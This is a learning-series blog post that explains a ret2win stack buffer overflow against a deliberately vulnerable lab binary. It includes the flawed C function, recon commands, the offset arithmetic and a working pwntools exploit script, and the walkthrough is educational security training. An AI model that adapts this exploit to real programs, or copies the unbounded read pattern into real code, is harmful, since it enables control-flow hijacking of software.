Published on

Pwn Learning Path #2: My First ret2win

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

My first exploit had one goal: overwrite the saved return address so vuln() returned to an existing win() function.

Finding the bug

The vulnerable function is small enough to understand immediately:

static void vuln(void) {
    char buf[64];

    puts("Send your payload:");
    read(STDIN_FILENO, buf, 200);
    puts("Returning...");
}

buf can hold 64 bytes, but read accepts up to 200. The extra bytes continue beyond the array and can reach control data in the stack frame.

I started with normal reconnaissance:

file ./ret2win
checksec ./ret2win
nm -an ./ret2win | grep ' win'
objdump -d -M intel ./ret2win

The lab binary has NX enabled, no stack canary, and no PIE. NX stops injected stack data from being executed as code, but this exploit does not need injected code. It reuses a function already present in the executable.

Calculating the offset

In this build, disassembly showed the buffer beginning at [rbp-0x40]. The saved return address was at [rbp+8]:

0x40 bytes  buffer
0x08 bytes  saved RBP
----------
0x48 bytes  distance to saved RIP = 72 decimal

So the payload shape was:

72 bytes of padding
address of win

The important distinction is that the first 72 bytes only reach the saved return-address slot. The next eight bytes replace the address itself.

Building the payload

Pwntools can resolve the symbol from the ELF instead of hard-coding the address:

from pwn import *

elf = context.binary = ELF('./ret2win', checksec=False)
io = process(elf.path)

payload = flat(
    b'A' * 72,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The successful run printed:

local{ret2win_control_flow}

Why it works

The final sequence is short:

  1. read writes beyond buf.
  2. My data replaces the saved return address.
  3. vuln reaches ret.
  4. ret takes the address of win from the stack.
  5. Execution continues inside win.

The lesson was bigger than the payload. I had turned a write past the end of an array into a control-flow primitive: saved RIP control.

The next lab kept the same overflow but made the target function require an argument.

Series navigation

← Part 1: stack frames · Part 3: ret2win with one argument →